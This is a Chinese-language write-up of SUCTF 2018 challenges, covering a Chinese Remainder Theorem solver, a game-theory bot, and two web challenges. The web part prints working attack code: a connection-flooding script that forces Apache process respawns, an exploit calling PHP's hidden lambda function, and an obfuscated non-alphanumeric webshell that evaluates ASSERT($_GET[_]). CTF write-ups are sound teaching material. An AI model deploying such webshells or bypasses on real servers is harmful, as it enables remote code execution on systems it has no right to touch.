SUCTF2018部分Writeup

Misc

SandGame

1
2
3
4
5
6
7
8
9
10
11
import flag
flag = flag.flag
sands = int(flag[5:-1].encode("hex"), 16)
holes = [257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373]
with open("sand.txt", "w") as f:
for i in range(len(holes)):
sand = sands % holes[i]
f.write(str(sand)+"\n")

flag被转化为16进制,并和20个互素的数字取模,符合中国剩余定理的条件。

中国剩余定理

python解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# coding: UTF-8
import binascii
#gcd,求最大公约数函数,递归算法,有了扩展欧几里得算法之后,此函数可以不用
def _g_c_d(a,b):
if 0==b:
return a
return gcd(b,a%b)
#扩展欧几里得算法,返回值列表中,x是a的逆元(mod b),q是gcd(a,b),若x是0,则表示没有逆元
#y是计算过程中的迭代的参数,可以不用管
#此算法实质上是广义欧几里得除法的逆运算,用递归可以体现出这个逆运算的过程
def Ex_Euclid(a,b):
if 0==b:
x=1;y=0;q=a
return x,y,q
xyq=Ex_Euclid(b,a%b)
x=xyq[0];y=xyq[1];q=xyq[2]
temp=x;x=y;y=temp-a//b*y
return x,y,q
#获取a的逆元(mod b)的函数,目的是为了封装获取逆元的功能
def Get_Inverse(a,b):
return Ex_Euclid(a,b)[0]
#获取a和b的最大公约数函数,目的是为了封装获取最大公约数的功能
def gcd(a,b):
return Ex_Euclid(a,b)[2]
#判断所有的mi是否两两互质
def Is_Coprime(m_list):
for i in range(len(m_list)):
for j in range(i+1,len(m_list)):
if 1!=gcd(m_list[i],m_list[j]):
return 0 #返回0表示不是两两互质的
return 1 #返回1表示是两两互质的
#获取所有的Mi
def Get_Mi(m_list,M):
Mi_list=[]
for mi in m_list:
Mi_list.append(M//mi)
return Mi_list
#获取所有的Mi的逆元
def Get_Mi_inverse(Mi_list,m_list):
Mi_inverse=[]
for i in range(len(Mi_list)):
Mi_inverse.append(Get_Inverse(Mi_list[i],m_list[i]))
return Mi_inverse
#中国剩余定理,返回值为最终的x
def C_R_T():
while True:
#两个列表,分别用来保存mi和bi
m_list=[257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373]
b_list=[222, 203, 33, 135, 203, 62, 227, 82, 239, 82, 11, 220, 74, 92, 8, 308, 195, 165, 87, 4]
M=1 #M是所有mi的乘积
for mi in m_list:
M*=mi
Mi_list=Get_Mi(m_list,M)
Mi_inverse=Get_Mi_inverse(Mi_list,m_list)
x=0
for i in range(len(b_list)): #开始计算x
x+=Mi_list[i]*Mi_inverse[i]*b_list[i]
x%=M
return x
if __name__=='__main__':
solve = C_R_T()
print(solve)

输出16进制的flag,转化为ascii字符串。

flag{This_is_the_CRT_xwg)}

Game

一道博弈论题目,开头sha256爆破,之后是三种经典博弈巴什博奕,威佐夫博弈,尼姆博弈

脚本写的很丑。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
from pwn import *
import hashlib
import itertools as its
import re
import math
def check(strr,hash1):
s=r'1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm'
r=its.product(s,repeat=4)
for i in r:
st = "".join(i)
s = strr+st
mst=hashlib.sha256(s).hexdigest()
if(mst==hash1):
return st
def bashgame():
global rec
n= int(re.findall("are (.*?) stones",rec)[0])
k= int(re.findall("pick 1 - (.*?) once",rec)[0])
r = n%(1+k)
if r==0:
sh.sendline('GG')
rec = sh.recvuntil('Your turn: \n')
print rec
return
print r
#print sh.recv(1024)
sh.sendline(str(r))
#print sh.recv()
while 1:
rec = sh.recvuntil('Your turn: \n')
print rec
if "You win!" in rec:
break
x = re.findall("I pick (.*?)!",rec)[0]
sss= 1+k-int(x)
print sss
sh.sendline(str(sss))
def wythoffgame():
global rec
while(1):
flag=False
a = int(re.findall("Piles: (.*?) (.*?)\n",rec)[0][0])
b = int(re.findall("Piles: (.*?) (.*?)\n",rec)[0][1])
if(a==0):
sh.sendline(str(b)+' 1')
print("a==0")
return
if(b==0):
sh.sendline(str(a)+' 0')
print("b==0")
return
if(a==b):
sh.sendline(str(a)+' 2')
print("a==b")
return
if(a>b):
a,b=b,a
flag=True
k = int(2*a/((1+math.sqrt(5.0)))+1)
ak = int(k*(1+math.sqrt(5))/2)
if(ak!=a):
k = int(2*b/((3+math.sqrt(5.0)))+1)
ak = int(k*(1+math.sqrt(5))/2)
bk = ak+k
print a,b,k,ak,bk
if(abs(a-b)==k and a==ak):
sh.sendline('GG')
print("GG")
return
if(a==ak and b>bk):
if flag:
print b-bk
sh.sendline(str(b-bk)+' 0')
else:
print b-bk
sh.sendline(str(b-bk)+' 1')
elif(a>ak and b==bk):
if flag:
print a-ak
sh.sendline(str(a-ak)+' 1')
else:
print a-ak
sh.sendline(str(a-ak)+' 0')
elif(a==ak and b<bk):
tmp=a-int((b-a)*(1+math.sqrt(5))/2)
print tmp
sh.sendline(str(tmp)+' 2')
else:
while(k):
k-=1
aj=int((k)*(1+math.sqrt(5))/2)
bj=int((k)*(3+math.sqrt(5))/2)
if(a==bj):
tmp=b-aj
if(flag):
sh.sendline(str(tmp)+' 0')
print tmp
else:
sh.sendline(str(tmp)+' 1')
print tmp
rec = sh.recvuntil('Your turn: \n')
def nimmgame():
while(1):
rec=sh.recvline()
print rec
num = re.findall("Piles: (.*?) (.*?) (.*?) (.*?) (.*?)\n",rec)[0]
a=[]
ans=0
flag=False
for i in range(len(num)):
a.append(int(num[i]))
for i in range(len(a)):
ans=ans^a[i]
if(ans==0):
sh.sendline('GG')
print 'GG'
return
for i in range(len(a)):
for j in range(0,a[i]+1):
ans=j
for k in range(len(a)):
if(k==i):
continue
else:
ans=ans^a[k]
if(ans==0):
print a[i]-j,i
sh.sendline(str(a[i]-j)+' '+str(i))
flag=True
if(flag):
break
if(flag):
break
rec=sh.recvline()
if('You win!' in rec):
return
if __name__ == '__main__':
sh =remote('game.suctf.asuri.org',10000)
sh.recvuntil('Prove your heart!')
ch = sh.recv(1024)
strr = ch[8:20]
hash1=ch[32:-1]
che=check(strr,hash1)
sh.sendline(che)
sh.recvuntil('skip')
rec = sh.recvuntil('Your turn: \n')
for i in range(0,20):
bashgame()
for i in range(0,20):
wythoffgame()
if(i==19):
rec = sh.recvuntil('Round 1\n')
else:
rec = sh.recvuntil('Your turn: \n')
print rec
for i in range(0,20):
nimmgame()
if(i==19):
print sh.recvall()
else:
print sh.recvuntil("Round %s\n"%str(i+2))

SUCTF{gGGGGggGgGggGGggGGGggGgGgggGGGGGggggggGgGggggGg}

Web

Anonymous

php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

create_function()函数可以创建一个匿名函数,但当匿名函数创建之后,他自己也有对应的名称。

\x00lambda_%d,%d代表他是当前进程中的第几个匿名函数,但是他是无法预测的,我们不知道当前进程中还有多少匿名函数。

func_name=phpinfo,查看phpinfo,apache使用了prefork的mod,在这个模式下,apache会重开进程来处理大量的请求,这样就可以预测%d了。

orange师傅的fork脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# coding: UTF-8
# Author: orange@chroot.org
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass
def run(i):
while 1:
HOST = 'web.suctf.asuri.org'
PORT = 81
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET / HTTP/1.1\nHost: 127.0.0.1\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)
i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

getflag:

1
2
3
4
5
6
7
import requests
while 1:
r=requests.get("http://web.suctf.asuri.org:81/?func_name=\x00lambda_1").content
if '{' in r:
print r
break

SUCTF{L4GsMqu6gu5knFnCi2Te8SjSucxKfQj6tuPJokoFhTCJjpa6RSfK}

Getshell

绕过黑名单的题目,测试可用字符有~[]()=_;.,用这些组成一个shell。

摘自findneo师傅的blog

1
<?= $_=_==_;$__=~一[$_];$___=~了[$_];$____=~端[$_];$_____=~得[$_];$______=~第[$_];$_______=~学[$_];$_=_.$__.$___.$____;$_=$$_;$__=$_____.$______.$______.$___.$_______.$____;$__($_[_]);

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?=
$_=_==_;//1
$__=~一[$_];//G
$___=~了[$_];//E
$____=~端[$_];//T
$_____=~得[$_];//A
$______=~第[$_];//S
$_______=~学[$_];//R
$_=_.$__.$___.$____;//_GET
$_=$$_;//$_GET
$__=$_____.$______.$______.$___.$_______.$____;//ASSERT
$__($_[_]);//ASSERT($_GET[_]);
------------------------------------------------------
http://web.suctf.asuri.org:82/upload/54add22477b7aec5a09a6e2a280464fb.php
?_=phpinfo();

SUCTF{KyGeBLWoF9MXcdDKBdbw2B54sMxbsxyXBpm8t5nQUHBJKuAYEd6o}